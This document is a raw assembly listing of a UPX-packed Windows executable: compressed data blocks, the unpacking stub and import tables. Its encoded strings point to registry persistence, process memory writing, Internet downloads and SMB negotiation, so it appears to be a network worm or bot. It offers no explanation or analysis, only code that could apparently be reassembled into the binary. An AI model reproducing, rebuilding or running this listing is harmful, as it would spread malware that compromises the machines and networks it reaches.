7274736Ch, 6E797063h, 53010041h, 75437465h, 6E657272h dd 72694474h, 6F746365h, 417972h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 78450100h, 68547469h dd 64616572h, 65530100h, 65764574h, 100746Eh, 74696157h dd 53726F46h, 6C676E69h, 6A624F65h, 746365h, 65724301h dd 54657461h, 61657268h, 43010064h, 74616572h, 65764565h dd 41746Eh, 74736C01h, 6E656C72h, 53010041h, 7065656Ch dd 65470100h, 72754374h, 746E6572h, 636F7250h, 737365h dd 74654701h, 636F7250h, 72646441h, 737365h, 74654701h dd 75646F4Dh, 6148656Ch, 656C646Eh, 57010041h, 65746972h dd 636F7250h, 4D737365h, 726F6D65h, 4F010079h, 506E6570h dd 65636F72h, 1007373h, 54746547h, 436B6369h, 746E756Fh dd 736C0100h, 61637274h, 4174h, 0D1h, 0 dd 67655201h, 61657243h, 654B6574h, 41784579h, 65520100h dd 74655367h, 756C6156h, 41784565h, 65520100h, 65755167h dd 61567972h, 4565756Ch, 1004178h, 4F676552h, 4B6E6570h dd 78457965h, 52010041h, 65446765h, 6574656Ch, 756C6156h dd 1004165h, 43676552h, 65736F6Ch, 79654Bh, 6F624101h dd 79537472h, 6D657473h, 74756853h, 6E776F64h, 43010041h dd 74707972h, 61657243h, 61486574h, 1006873h, 70797243h dd 73614874h, 74614468h, 43010061h, 74707972h, 69726556h dd 69537966h, 74616E67h, 41657275h, 72430100h, 44747079h dd 72747365h, 6148796Fh, 1006873h, 70797243h, 73654474h dd 796F7274h, 79654Bh, 79724301h, 65527470h, 7361656Ch dd 6E6F4365h, 74786574h, 72430100h, 41747079h, 69757163h dd 6F436572h, 7865746Eh, 1004174h, 70797243h, 706D4974h dd 4B74726Fh, 7965h, 0DEh, 0F4h, 72747301h, 797063h, 72747301h dd 746163h, 6F746101h, 73010069h, 646E6172h, 455F0100h dd 72705F48h, 676F6C6Fh, 5F5F0100h, 46787843h, 656D6172h dd 646E6148h, 72656Ch, 72747301h, 727473h, 72747301h, 726863h dd 72747301h, 6E656Ch, 6D656D01h, 746573h, 6D656D01h, 797063h dd 6E617201h, 0E9000064h, 28000000h, 1000001h, 646E6946h dd 646E6957h, 41776Fh, 74654701h, 65726F46h, 756F7267h dd 6957646Eh, 776F646Eh, 65470100h, 6E695774h, 54776F64h dd 61657268h, 6F725064h, 73736563h, 1006449h, 72707377h dd 66746E69h, 0F4000041h, 3C000000h, 1000001h, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 49010065h, 7265746Eh, 4F74656Eh, 416E6570h, 6E490100h dd 6E726574h, 65527465h, 69466461h, 100656Ch, 65746E49h dd 74656E72h, 6E65704Fh, 416C7255h, 1000000h, 1500000h dd 73FF0000h, 8FF00h, 0FF0039FFh, 0BFF006Fh, 34FF00h, 0FF0012FFh dd 4FF000Ch, 16FF00h, 0FF0017FFh, 2FF0009h, 0DFF00h, 0FF0001FFh dd 10FF0003h, 13FF00h, 0 dd 455000h, 2014C00h, 0BB372600h, 40h, 0 dd 0F00E000h, 6010B01h, 300000h, 120000h, 0 dd 2DB900h, 100000h, 400000h, 30000000h, 100031h, 20000h dd 400h, 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 385800h, 8C00h, 14h dup(0) dd 100000h, 19C00h, 6 dup(0) dd 65742E00h, 7478h, 2FD800h, 100000h, 300000h, 40000h dd 3 dup(0) dd 4002000h, 61642EE0h, 6174h, 100C00h, 400000h, 100000h dd 340000h, 3 dup(0) dd 4000h, 5000C0h, 3A8000h, 550100h, 9E982900h, 53896620h dd 70CB1FEh, 0A3ECCA94h, 1DA11E75h, 0FFFFE8F9h, 0C5B4FFFFh dd 0DB1A4ECBh, 3969D7F0h, 948C1A87h, 1318C67Bh, 0BF3EB382h dd 67E0424Bh, 378400EBh, 0FFFF60B7h, 0B3AAFFFFh, 8022D7D8h dd 0A67A6504h, 5886FF4Bh, 6EF64585h, 0C956EEF9h, 4A32002Fh dd 7AB7A63Bh, 0DBFFD3D8h, 63EBF8B0h, 0BE746E6Fh, 0D5361278h dd 5DABAAAAh, 6DFFC933h, 0B966FFFBh, 758D0225h, 8AFE8B05h dd 7993C06h, 302C0646h, 88993446h, 0FF7F4707h, 0EDE2FC5Dh dd 0DAE80AEBh, 65622EF9h, 93712E67h, 1201C999h, 0FEFEBDFDh dd 0FD91EDFFh, 72C10716h, 0FD42AA68h, 10FDAA66h, 0F11C14BAh dd 0F3C91A98h, 763FF698h, 28608FBh, 90100971h, 9237CB5Fh dd 0BB1C9659h, 6FB5ED0Dh, 375183Bh, 25CD089Bh, 83B72510h dd 0E4D291FDh, 185447ECh, 9FF31B5Dh, 0FD9BF344h, 71D8FF63h dd 68F319AFh, 1C1065E3h, 751A0B1Dh, 9D5EFFD9h, 0B7B5BDBDh dd 12FF24DAh, 0DD10FF12h, 0AC4F070Ah, 0FB7FEC33h, 9D0B00CEh dd 0E51459B2h, 12323298h, 0CA89F345h, 67332C66h, 71F67FDFh dd 6713B36Fh, 5D1A7441h, 11348AD9h, 7DEEBAF3h, 4F19DDBh dd 4F10989h, 652EF32Dh, 4FDB66CBh, 0F0E3F367h, 2182E576h dd 0B264FDB6h, 6F2E56C9h, 2097C0E8h, 0B6EB169Bh, 0D83C4C9Fh dd 8ED5E5C1h, 3BC919C9h, 0DFEC7B3Fh, 414D901h, 71CA23F6h dd 688D6329h, 2FEE9161h, 0C3F22C8Ch, 0A7ED66F4h, 6C5D12CDh dd 0DACDB272h, 794ECBC9h, 0FE11F256h, 5A7F64C9h, 0C096A648h dd 294CE114h, 9CF3EBA7h, 0CB93F7C9h, 0F434FF5Dh, 0C2D07126h dd 0FECDFFFEh, 0EF133BF9h, 0F0BA0ECh, 0EDFFC5B7h, 0FDE9ECE9h dd 0FCE1FCB7h, 7605FC2Fh, 0FCF5CA01h, 0F2CEE9FCh, 0FFFFEBFCh dd 0FCF7F97Fh, 0C7ABAAF5h, 59AAF934h, 662A2DB4h, 0E6ACC91Eh dd 0C9A5B7E7h, 9DB8BD9Ch, 0CFE37D82h, 3092712Eh, 513519BFh dd 0A951E14h, 0FFFF9172h, 712AD8C1h, 0A5D230C8h, 0E180D512h dd 6FAA529Ah, 9A2A8D14h, 0B785B9C8h, 8B12F6FFh, 58474A9Ah dd 9BAB9E59h, 20A319DBh, 0C0A26CECh, 0FFFB7FFFh, 0DF9EED85h dd 0EB81E8A2h, 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h dd 5A9A099Dh, 9A1613FFh, 192DF810h, 7F664917h, 8712FEFDh dd 0DEDDB6A9h, 95C25A76h, 82128502h, 0CB5A9104h, 0DFD4CFF7h dd 85DE8C1Fh, 424D53FFh, 53180972h, 0EFFFFFC8h, 0FEC990h dd 2006217h, 4E204350h, 4F575445h, 50204B52h, 97DAC752h dd 52474FFFh, 31204D41h, 414C302Eh, 0A024D4Eh, 6FED6957h dd 646EFA5Fh, 8C73776Fh, 5720726Fh, 72676B03h, 0E70756Fh dd 0F75BF61Dh, 61312E33h, 32234D27h, 32303058h, 5B063232h dd 0A16ADFEh, 4C20544Eh, 3230204Dh, 2B00A48Bh, 7737919h dd 0BB7D8363h, 23FF0C3Eh, 0A110400h, 0D4052014h, 1BB5BEAh dd 4C00694Dh, 5053534Bh, 253B7F00h, 82979AFFh, 57E008h dd 64006E24h, 0DB006F00h, 77EE6D8Bh, 743A7300h, 8C090130h dd 12DB9839h, 233500D9h, 72E1Dh, 0D9139E4h, 2008ABDAh dd 499270DAh, 39F5706h, 60D83200h, 23466E27h, 0FF400747h dd 603C8DCh, 1100600h, 888A151Fh, 7FFFD8E0h, 4F0048F9h dd 19814400h, 0E4F27A6Ah, 0AF281C49h, 10742530h, 53E15367h dd 5C1137C8h, 0EB3075DFh, 0CB075Ch, 12F5C04h, 615C085Ah dd 0DD772363h, 36072E4Dh, 772E3800h, 0D839B330h, 491B76h dd 6443ECh, 0E7900F3Fh, 0A26463B0h, 0F20FDC08h, 400496DFh dd 0DE00FF16h, 0E00DEh, 2019F16h, 6121309Bh, 19284026h dd 0F7DC346Fh, 6C8B1103h, 70D374D9h, 214B6300h, 9C2A65DFh dd 0EE9F256Bh, 106D9EC0h, 1B04480Eh, 6E7D1354h, 5A54BAEBh dd 22596326h, 45CBC75Ch, 0CFF9A41Dh, 58765h, 4810030Bh dd 4FFF10B8h, 4901A09Ah, 19286A01h, 0D0B10C39h, 2FA89B11h dd 0FD8FFCh, 2ED94FC0h, 885D5FF5h, 0C91CEB8Ah, 3CE89F11h dd 0CF48102Bh, 60B2F645h, 0A3F40CD1h, 8790A060h, 0A00C92BCh dd 7F0CB10Ch, 64727h, 40880CA0h, 8F000900h, 0ECDF24F0h dd 95000703h, 7C4F4014h, 14BD4070h, 0BF60D9h, 0F84F4307h dd 7813911Fh, 0AB001385h, 13E9A65Bh, 39E3F810h, 0FF2F3C81h dd 60230EFEh, 40182C18h, 0F284087Ah, 88E93EE9h, 0EE10B943h dd 10B801FFh, 793C9B30h, 0DAD200Ch, 0AF2CF07h, 0D80F7FF9h dd 84700118h, 92BC87C8h, 950F840Fh, 4F26000Fh, 7F02037Eh dd 0F6C0F84h, 0C3C2556Fh, 6FA89A00h, 46042743h, 69231364h dd 5840DB6Eh, 205058F9h, 46007250h, 0A1F9014Ah, 323B6790h dd 15123C6Bh, 89AF0275h, 53412790h, 0FF9E1C00h, 1645395h dd 5CCC06EBh, 5C73255Ch, 0F37FFF2Fh, 24637069h, 1CEC8166h dd 0E4FF07h, 65446553h, 69677562h, 0F64C6976h, 656CF3FFh dd 64416567h, 7473756Ah, 656B6F54h, 0EE73176Eh, 4CDB724Fh dd 7075126Fh, 756C6156h, 0FF174165h, 4FDFB6C5h, 636F2870h dd 43347324h, 61766461h, 8FF11670h, 0EF3369C1h, 72657475h dd 95395F6Dh, 0FFC4A29Bh, 5F6C6C65h, 79617254h, 72634157h dd 0DBB9DF65h, 521A61B7h, 56F6D65h, 140C6854h, 74726956h dd 0ADDADD75h, 2841586Dh, 0F78454Fh, 6C6E724Eh, 35ACE817h dd 0F8F30447h, 0D3E0034Ch, 0C4D34D34h, 507090ACh, 4D34D365h dd 182834h, 46FF4BF4h, 634E6FEDh, 72616B2Eh, 67E6442Eh dd 6F707361h, 6E7F6564h, 7A2EEE89h, 0B92E0D61h, 6C570967h dd 3FE16169h, 251366F7h, 7374330Fh, 75722E6Bh, 9A26EDDAh dd 2E6EEC86h, 75650D75h, 0B175B005h, 3B8E0BD7h, 684F7727h dd 0BBAD0AC8h, 1F7467CEh, 1F323164h, 0FE56DBB2h, 2D736F6Ch dd 1A65BE61h, 0A6206163h, 62BB42B6h, 731D3160h, 2DB76549h dd 652F5D65h, 17726655h, 3DEC0985h, 0E616C66h, 0E1596733h dd 7AC2B2B6h, 1617512Eh, 869F702Dh, 6D6FB54Bh, 0F2936DD0h dd 0DB9E2D77h, 0A90AE785h, 62ABE22Ah, 7E662D63h, 67B7FDA1h dd 6C6B6ACBh, 706F6E6Dh, 76835E71h, 7A797877h, 25FFE5ABh dd 434241C9h, 47464544h, 4B4A4948h, 0A85BF84Eh, 52517C40h dd 0A7EB5453h, 0F6EF1B5Ah, 53557E37h, 52205245h, 2A203820h dd 0D073A20h, 742B4B0Ah, 0C76C8789h, 4349F879h, 0C9EC1341h dd 0EE500636h, 4E4F0B53h, 0F0BB0A47h, 490BDD2Bh, 0AE353407h dd 0E20C4F4Ah, 2F587E49h, 54495551h, 0A1564952h, 41DBD8F0h dd 23116647h, 3B017567h, 86B666C6h, 0EC5F034Dh, 0D6E8B378h dd 4D812BF8h, 1D987A6Fh, 70BB342Fh, 20A55DBBh, 706DE528h dd 7C6269E0h, 0D040203Bh, 497D0B90h, 0BB362045h, 0C5F3203Bh dd 3590D42Eh, 7700298Dh, 0E7DD713Fh, 6425775Ah, 6739022Ch dd 3691306h, 0F67D2D7Ch, 312D6033h, 70746614h, 0AF1A6402h dd 75759EE9h, 36370339h, 0FBC2AC0Bh, 8B0F0B0h, 44491620h dd 46FF0408h, 658DC37h, 51464FF7h, 5C455241h, 0F063694Dh dd 860BB6C1h, 5C436F73h, 75435C87h, 346F4F72h, 746E2FBCh dd 4669D156h, 3C75525Ch, 6DB6BA55h, 2017606Ah, 30761453h dd 61315367h, 6B31E1ADh, 1B723F27h, 56E9635Ch, 3FBC4395h dd 0C5737677h, 2E76CD92h, 0F993265h, 0C8DCCD0Eh, 1757F486h dd 69F4B412h, 7379D117h, 8B420098h, 0CC5BA520h, 3D61E7B1h dd 206D1B13h, 0D606CDA0h, 8F460668h, 14685717h, 915D0F82h dd 6F652F91h dd 1867B0DBh, 7469D663h, 54411979h, 2400B512h, 18322A0Ah dd 515350E9h, 7EC9C4C9h, 13F9C56h, 65724664h, 0FFC50C65h dd 0D7115EDh, 4D746547h, 6C75646Fh, 0BFF74665h, 4EE36F15h dd 1E06D61h, 7274736Ch, 69706D63h, 0DC0B7B0Ah, 706F437Bh dd 0ED0A1979h, 32657845h, 8563E2B7h, 6F6F54C6h, 3370DF6Ch dd 0FFB5026Dh, 616E5332h, 6F687370h, 12141974h, 6EEA056Bh dd 0F737232h, 2C350754h, 982C07B0h, 654E2118h, 0E2152078h dd 10E3409h, 0EC97E544h, 710DAC16h, 3974696Eh, 0BAE7B7A8h dd 6953163Fh, 2C52C37Ah, 6E49090Dh, 40AEEDB5h, 656BC96Ch dd 44630A64h, 0AD66C9B0h, 75A210C0h, 0CBB10F41h, 984DE816h dd 5441DF78h, 0B79761E4h, 6C613B4Ch, 196F6665h, 51187970h dd 0D611B7Eh, 6F727245h, 0EC590172h, 6954F73Dh, 977F66Dh dd 0B8AD1823h, 0FF646E15h, 7BAE4865h, 977F66C3h, 0C7697257h dd 27610B7Ch, 6E2EEB45h, 0E3E530Ah, 0B11AF644h, 7363DD11h dd 0E105478h, 9144B03h, 0BDB2DB22h, 764536DDh, 466163E5h dd 0EE615320h, 5B9340ADh, 2E6A624Fh, 0D9B1606Dh, 2F0D2CB0h dd 8B762C7Ch, 67B29B5h, 826C7065h, 0C212FF78h, 64410B67h dd 0B00F7264h, 20CB6760h, 2FDA41D9h, 6D735125h, 13A1A74Dh dd 0A146D12h, 911132B1h, 1B26753Bh, 0F1A5EC5Bh, 0D1964184h dd 1E13F3B9h, 4B9167BEh, 10457965h, 0C89D876Bh, 510F60D6h dd 0D808580Ah, 6311584Bh, 8B30EF30h, 10212ACDh, 8385517Fh dd 410C6ED0h, 53459462h, 6F66F468h, 0F3A414AFh, 74707972h dd 0AC17DB77h, 10B0CBD1h, 6112440Ah, 662BB858h, 6669990Eh dd 76675279h, 95EB586Dh, 6C362B75h, 77796FC5h, 2CF616F6h dd 52106F11h, 0D68F678Fh, 0F5651E36h, 4114DBF4h, 0F90D871Ah dd 69757163h, 7C494D72h, 0E7059A71h, 0DE133AA0h, 3B9BBAF4h dd 6107179Bh, 696F033Eh, 835B720Dh, 67519BEh, 5F48455Fh dd 1367E0D1h, 0B77A54Ch, 7878435Fh, 3691AACAh, 72B1733Bh dd 683B0233h, 6C581707h, 226ECADBh, 774906Dh, 0B3661A5Bh dd 0E9724CBDh, 0C7920128h, 0ED1588Ch, 624B77C3h, 65404CC3h dd 6E1415DCh, 0ACC6610h, 9149E14Fh, 0DADECEF4h, 198F7377h dd 0BE416674h, 0CE8E4F3Ch, 848BE899h, 8E6EF035h, 4B866587h dd 6E745394h, 42C1C31Ah, 0E41B2D2h, 104020C7h, 0BD55B6A3h dd 2CB2C641h, 7317F6CBh, 6F390802h, 2CB2CB0Bh, 0C1234CBh dd 2C171604h, 92CB2CBh, 3010D02h, 0B2D523F9h, 50BF1310h dd 4C000045h, 10FF9601h, 40BB3778h, 0F00E02Dh, 6010B01h dd 3CD26E30h, 2DB91269h, 0C9661810h, 0B31B1AAh, 0EC070C02h dd 0CE92DCCh, 10341E60h, 0E04BCB07h, 58D9060Dh, 0BB618C38h dd 9C642101h, 0B60D1E01h, 6C2E5C7Bh, 902FD807h, 82107C30h dd 461C481h, 0D8642EE0h, 0F87B6437h, 34070CFBh, 0A1405B27h dd 48C0165Bh, 3ADCh, 55910DC0h, 1200000h, 0FF0000h, 2 dup(0) ; --------------------------------------------------------------------------- public start start: pusha mov esi, offset dword_31305000 lea edi, [esi-4000h] push edi or ebp, 0FFFFFFFFh jmp short loc_313071A2 ; --------------------------------------------------------------------------- align 8 loc_31307198: ; CODE XREF: UPX1:loc_313071A9j mov al, [esi] inc esi mov [edi], al inc edi loc_3130719E: ; CODE XREF: UPX1:31307236j ; UPX1:3130724Dj add ebx, ebx jnz short loc_313071A9 loc_313071A2: ; CODE XREF: UPX1:31307190j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_313071A9: ; CODE XREF: UPX1:313071A0j jb short loc_31307198 mov eax, 1 loc_313071B0: ; CODE XREF: UPX1:313071BFj ; UPX1:313071CAj add ebx, ebx jnz short loc_313071BB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_313071BB: ; CODE XREF: UPX1:313071B2j adc eax, eax add ebx, ebx jnb short loc_313071B0 jnz short loc_313071CC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_313071B0 loc_313071CC: ; CODE XREF: UPX1:313071C1j xor ecx, ecx sub eax, 3 jb short loc_313071E0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31307252 mov ebp, eax loc_313071E0: ; CODE XREF: UPX1:313071D1j add ebx, ebx jnz short loc_313071EB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_313071EB: ; CODE XREF: UPX1:313071E2j adc ecx, ecx add ebx, ebx jnz short loc_313071F8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_313071F8: ; CODE XREF: UPX1:313071EFj adc ecx, ecx jnz short loc_3130721C inc ecx loc_313071FD: ; CODE XREF: UPX1:3130720Cj ; UPX1:31307217j add ebx, ebx jnz short loc_31307208 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31307208: ; CODE XREF: UPX1:313071FFj adc ecx, ecx add ebx, ebx jnb short loc_313071FD jnz short loc_31307219 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_313071FD loc_31307219: ; CODE XREF: UPX1:3130720Ej add ecx, 2 loc_3130721C: ; CODE XREF: UPX1:313071FAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_3130723C loc_3130722D: ; CODE XREF: UPX1:31307234j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_3130722D jmp loc_3130719E ; --------------------------------------------------------------------------- align 4 loc_3130723C: ; CODE XREF: UPX1:3130722Bj ; UPX1:31307249j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_3130723C add edi, ecx jmp loc_3130719E ; --------------------------------------------------------------------------- loc_31307252: ; CODE XREF: UPX1:313071DCj pop esi mov edi, esi mov ecx, 0B2h loc_3130725A: ; CODE XREF: UPX1:31307261j ; UPX1:31307266j mov al, [edi] inc edi sub al, 0E8h loc_3130725F: ; CODE XREF: UPX1:31307284j cmp al, 1 ja short loc_3130725A cmp byte ptr [edi], 1 jnz short loc_3130725A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_3130725F lea edi, [esi+5000h] loc_3130728C: ; CODE XREF: UPX1:313072AEj mov eax, [edi] or eax, eax jz short loc_313072D7 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_313072A9: ; CODE XREF: UPX1:313072CFj mov al, [edi] inc edi or al, al jz short loc_3130728C mov ecx, edi jns short near ptr loc_313072BA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_313072BA: ; CODE XREF: UPX1:313072B2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_313072D1 mov [ebx], eax add ebx, 4 jmp short loc_313072A9 ; --------------------------------------------------------------------------- loc_313072D1: ; CODE XREF: UPX1:313072C8j call dword ptr [esi+7094h] loc_313072D7: ; CODE XREF: UPX1:31307290j popa jmp loc_31302DB9 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00008000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 31308000h dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C1BE00h, 0 aJW db 'jÉÔw',0 align 4 aPV db '¶¯ v',0 align 4 dd 71AB1AF4h, 0 aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aUser32_dll db 'USER32.dll',0 aWininet_dll db 'WININET.dll',0 aWs2_32_dll db 'WS2_32.dll',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aExitprocess db 'ExitProcess',0 align 4 aRegclosekey db 'RegCloseKey',0 dd 74610000h, 696Fh, 72707377h, 66746E69h, 41h, 65746E49h dd 74656E72h, 6E65704Fh, 41h, 3A6h dup(0) UPX2 ends ; Section 4. (virtual address 00009000) ; Virtual size : 00000800 ( 2048.) ; Section size in file : 00000800 ( 2048.) ; Offset to raw data for section: 00009000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write XOR segment para public 'DATA' use32 assume cs:XOR ;org 31309000h dd 200h dup(0) XOR ends ; Section 5. (virtual address 0000A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00009800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3130A000h dd 80h dup(0) align 1000h _idata2 ends end start